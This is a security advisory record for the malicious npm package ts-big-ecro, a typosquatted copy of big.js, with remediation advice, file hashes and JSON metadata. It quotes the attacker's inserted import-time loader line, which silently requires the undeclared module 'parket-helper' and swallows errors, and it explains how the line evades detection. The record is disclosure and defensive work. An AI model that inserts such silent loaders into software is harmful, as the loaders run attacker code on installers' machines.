mal-2026-6199
Vulnerability from ossf_malicious_packages
Published
2026-06-19 05:20
Modified
2026-06-19 09:53
Summary
Malicious code in ts-big-ecro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b)

ts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The call fires unconditionally, swallows all errors to evade detection, and loads parket-helper — a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package's only declared dependency is server-parket@^3.8.1, which is similarly unrelated to the package's stated purpose (the real big.js has zero runtime dependencies). The combination — typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name — is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from parket-helper in their process.

Source: ghsa-malware (146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "big.js",
              "sha256": "c10201be67a29b3e18d28e100d94cbbe6633e1ddf6edfd89ab5fe606a82aa446",
              "tlsh": "cfc2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
            },
            {
              "path": "package.json",
              "sha256": "7026f2a90da0287db46882bf28886fae4456be06d54119c3f2d0a4283fc115fa",
              "tlsh": "3d210467c9a19da70af85b94bc6c43aaf1161b1f40a05c5bb07b130c4f3345b2095bbd"
            }
          ],
          "package_integrity": [
            {
              "filename": "ts-big-ecro-0.1.0.tgz",
              "hashes": {
                "sha1": "6b2a502371e0878434c0942bead793572e5ee840",
                "sha512_sri": "sha512-F8R2c3UdPXYKX3+aIE00t7x+Xuhc8B6gxRh7u+82L7CaCe3BwlMLHA9yopgWlUCRi7/6VL02ioDhtzjx9DR2MQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "ts-big-ecro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "0.1.0"
      ]
    }
  ],
  "aliases": [
    "GHSA-3cg2-mrw5-67r6"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007062",
        "import_time": "2026-06-19T07:17:17.020307295Z",
        "modified_time": "2026-06-19T05:20:12Z",
        "sha256": "09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b",
        "source": "amazon-inspector",
        "versions": [
          "0.1.0"
        ]
      },
      {
        "id": "GHSA-3cg2-mrw5-67r6",
        "import_time": "2026-06-19T09:51:49.450778691Z",
        "modified_time": "2026-06-19T08:28:32Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (09cc5687efdad86354f994af9fa7d7c28fbc21d7b5b4558870aba1c05dcf425b)\nts-big-ecro is a verbatim copy of the legitimate big.js library (MikeMcl/big.js v7.0.1) with its name, repository field, and copyright preserved to impersonate the original. Inside the main module (big.js:606 and big.mjs:606), an attacker-inserted block runs at the top level on every require()/import of the package: `try { const doc = require(\"parket-helper\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The call fires unconditionally, swallows all errors to evade detection, and loads `parket-helper` \u2014 a module that is not declared in dependencies, not documented anywhere, and unrelated to arbitrary-precision arithmetic. The package\u0027s only declared dependency is `server-parket@^3.8.1`, which is similarly unrelated to the package\u0027s stated purpose (the real big.js has zero runtime dependencies). The combination \u2014 typosquat name, verbatim impersonation of a popular library, import-time loader for an undeclared helper module, and a suspicious sibling dependency of a different name \u2014 is the standard dependency-confusion trojan-loader pattern. Any installer that requires this package executes attacker-controlled code from `parket-helper` in their process.\n\n## Source: ghsa-malware (146f80104e2e8c685193e2b971c3b9db0da8b101a0c8364543d9a7b906f1b98f)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-6199",
  "modified": "2026-06-19T09:53:39Z",
  "published": "2026-06-19T05:20:12Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/ts-big-ecro/v/0.1.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3cg2-mrw5-67r6"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in ts-big-ecro (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…